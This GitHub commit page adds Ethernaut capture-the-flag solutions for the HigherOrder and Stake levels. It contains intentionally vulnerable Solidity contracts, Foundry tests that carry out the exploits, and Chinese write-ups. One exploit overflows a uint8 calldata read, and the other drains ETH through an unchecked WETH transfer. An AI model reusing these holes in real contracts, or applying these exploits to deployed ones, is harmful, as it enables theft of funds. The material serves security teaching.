-
Notifications
You must be signed in to change notification settings - Fork 21
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #28 from Big-Aaron/main
HigherOrder and Stake
- Loading branch information
Showing
9 changed files
with
243 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity 0.6.12; | ||
|
||
contract HigherOrder { | ||
address public commander; | ||
|
||
uint256 public treasury; | ||
|
||
function registerTreasury(uint8) public { | ||
assembly { | ||
sstore(treasury_slot, calldataload(4)) | ||
} | ||
} | ||
|
||
function claimLeadership() public { | ||
if (treasury > 255) commander = msg.sender; | ||
else revert("Only members of the Higher Order can become Commander"); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,26 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity 0.6.12; | ||
pragma experimental ABIEncoderV2; | ||
|
||
import "forge-std/Test.sol"; | ||
import "./HigherOrderFactory.sol"; | ||
|
||
contract HigherOrderTest is Test { | ||
HigherOrderFactory factory; | ||
HigherOrder higherOrderInstance; | ||
|
||
function setUp() public { | ||
factory = new HigherOrderFactory(); | ||
higherOrderInstance = HigherOrder(factory.createInstance(address(this))); | ||
} | ||
|
||
function testHigherOrder() public { | ||
(bool success,) = | ||
address(higherOrderInstance).call(abi.encodeWithSignature("registerTreasury(uint8)", type(uint256).max)); | ||
require(success, "registerTreasury failed"); | ||
|
||
higherOrderInstance.claimLeadership(); | ||
|
||
assertTrue(factory.validateInstance(payable(address(higherOrderInstance)), address(this))); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity 0.6.12; | ||
|
||
import "../base/Level-06.sol"; | ||
import "./HigherOrder.sol"; | ||
|
||
contract HigherOrderFactory is Level { | ||
function createInstance(address _player) public payable override returns (address) { | ||
_player; | ||
return address(new HigherOrder()); | ||
} | ||
|
||
function validateInstance(address payable _instance, address _player) public override returns (bool) { | ||
HigherOrder instance = HigherOrder(_instance); | ||
return instance.commander() == _player; | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,31 @@ | ||
# HigherOrder | ||
|
||
## 题目描述 | ||
|
||
[原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0xd459773f02e53F6e91b0f766e42E495aEf26088F) | ||
|
||
目标是使我们的账户地址成为合约中的commander。 | ||
|
||
## 运行 | ||
|
||
根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: | ||
|
||
```sh | ||
$ cd WTF-CTF | ||
|
||
$ forge test -C src/Ethernaut/HigherOrder -vvvvv | ||
``` | ||
|
||
## 功能简述 | ||
|
||
要想改变`commander`变量,只能让`treasury`变量大于255。而改变`treasury`变量只能通过`registerTreasury(uint8)`函数。 | ||
|
||
而`registerTreasury函数`中在改变`treasury`变量时,是直接读取了我们交易调用calldata的第4个字节后的32字节数据。然后将这32字节的数据写入了`treasury`变量所在的插槽。(calldata的前4个字节为函数签名selector) | ||
|
||
所以,我们只需调用`registerTreasury函数`,并在`calldata`的`selector`后拼接`treasury`变量的值(例如,修改为`type(uint256).max`) | ||
|
||
```solidity | ||
abi.encodeWithSignature("registerTreasury(uint8)", type(uint256).max) | ||
``` | ||
|
||
虽然`registerTreasury函数`接受的是`uint8`的变量,但是,函数逻辑里却是使用`calldataload`读取了32字节的数据。只需要`calldata`前4个字节的selector正确 ,就可以调用`registerTreasury函数`。 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,41 @@ | ||
# Stake | ||
|
||
## 题目描述 | ||
|
||
[原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0xB99f27b94fCc8b9b6fF88e29E1741422DFC06224) | ||
|
||
需要达成4个条件 | ||
|
||
- `Stake` 合约的ETH余额必须大于0。 | ||
- `totalStaked` 必须大于 `Stake` 合约的 ETH 余额。 | ||
- 我们的账户地址必须为质押者。 | ||
- 我们质押的余额必须为 0。 | ||
|
||
## 运行 | ||
|
||
根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: | ||
|
||
```sh | ||
$ cd WTF-CTF | ||
|
||
$ forge test -C src/Ethernaut/Stake -vvvvv | ||
``` | ||
|
||
## 功能简述 | ||
|
||
`Stake`合约接受两种资产的质押,`ETH`和`WETH`。虽然两种资产在价值上是1:1等价的。但是`WETH`是`ETH链`原生代币的`ERC20`包装的版本(具体信息可以查看WTF-Solidity的[41节WETH](https://github.com/AmazingAng/WTF-Solidity/blob/main/41_WETH/readme.md))。 | ||
|
||
但是`Stake`合约中将`ETH`和`WETH`混为一谈。如果我们质押的是`WETH`,提取的却是`ETH`(`Stake`合约并没有将 `WETH`兑换为`ETH`,`Stake`合约某种程度上成为了`ETH`/`WETH`交易对)。 | ||
|
||
所以,我们质押`WETH`,提取`ETH`。就可以把`Stake`合约的`ETH`全部提取出来。 | ||
|
||
而且,`Stake`合约在转移质押者的`WETH`代币时,并没有判断转移交易是否成功,所以,我们只需要在`WETH`代币中对`Stake`合约进行授权就好,我们实际有没有`WETH`代币并不重要。 | ||
|
||
先质押`WETH`,在提取`ETH`,就可以把我们的质押余额清零。 | ||
|
||
题目的其他两个条件 | ||
|
||
- `Stake` 合约的ETH余额必须大于0。 | ||
- `totalStaked` 必须大于 `Stake` 合约的 ETH 余额。 | ||
|
||
我们只需不提取完其他账户质押的ETH就好(为了完成题目,我们也可以切换个地址进行质押)。 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,49 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.0; | ||
|
||
contract Stake { | ||
uint256 public totalStaked; | ||
mapping(address => uint256) public UserStake; | ||
mapping(address => bool) public Stakers; | ||
address public WETH; | ||
|
||
constructor(address _weth) payable { | ||
totalStaked += msg.value; | ||
WETH = _weth; | ||
} | ||
|
||
function StakeETH() public payable { | ||
require(msg.value > 0.001 ether, "Don't be cheap"); | ||
totalStaked += msg.value; | ||
UserStake[msg.sender] += msg.value; | ||
Stakers[msg.sender] = true; | ||
} | ||
|
||
function StakeWETH(uint256 amount) public returns (bool) { | ||
require(amount > 0.001 ether, "Don't be cheap"); | ||
(, bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender, address(this))); | ||
require(bytesToUint(allowance) >= amount, "How am I moving the funds honey?"); | ||
totalStaked += amount; | ||
UserStake[msg.sender] += amount; | ||
(bool transfered,) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender, address(this), amount)); | ||
Stakers[msg.sender] = true; | ||
return transfered; | ||
} | ||
|
||
function Unstake(uint256 amount) public returns (bool) { | ||
require(UserStake[msg.sender] >= amount, "Don't be greedy"); | ||
UserStake[msg.sender] -= amount; | ||
totalStaked -= amount; | ||
(bool success,) = payable(msg.sender).call{value: amount}(""); | ||
return success; | ||
} | ||
|
||
function bytesToUint(bytes memory data) internal pure returns (uint256) { | ||
require(data.length >= 32, "Data length must be at least 32 bytes"); | ||
uint256 result; | ||
assembly { | ||
result := mload(add(data, 0x20)) | ||
} | ||
return result; | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,36 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity 0.8.25; | ||
|
||
import "forge-std/Test.sol"; | ||
import "./StakeFactory.sol"; | ||
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; | ||
|
||
contract StakeTest is Test { | ||
StakeFactory factory; | ||
Stake stakeInstance; | ||
|
||
function setUp() public { | ||
factory = new StakeFactory(); | ||
stakeInstance = Stake(factory.createInstance(address(this))); | ||
} | ||
|
||
function testStake() public { | ||
new Deal{value: 0.0011 ether + 1}(stakeInstance); | ||
|
||
ERC20 WETH = ERC20(stakeInstance.WETH()); | ||
WETH.approve(address(stakeInstance), type(uint256).max); | ||
uint256 amount = 0.0011 ether; | ||
stakeInstance.StakeWETH(amount); | ||
stakeInstance.Unstake(amount); | ||
|
||
assertTrue(factory.validateInstance(payable(address(stakeInstance)), address(this))); | ||
} | ||
|
||
receive() external payable {} | ||
} | ||
|
||
contract Deal { | ||
constructor(Stake stake) payable { | ||
stake.StakeETH{value: msg.value}(); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.0; | ||
|
||
import "../base/Level.sol"; | ||
import "./Stake.sol"; | ||
|
||
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; | ||
|
||
contract StakeFactory is Level { | ||
address _dweth = address(new ERC20("DummyWETH", "DWETH")); | ||
|
||
function createInstance(address _player) public payable override returns (address) { | ||
_player; | ||
return address(new Stake(address(_dweth))); | ||
} | ||
|
||
function validateInstance(address payable _instance, address _player) public view override returns (bool) { | ||
Stake instance = Stake(_instance); | ||
return _instance.balance != 0 && instance.totalStaked() > _instance.balance && instance.UserStake(_player) == 0 | ||
&& instance.Stakers(_player); | ||
} | ||
} |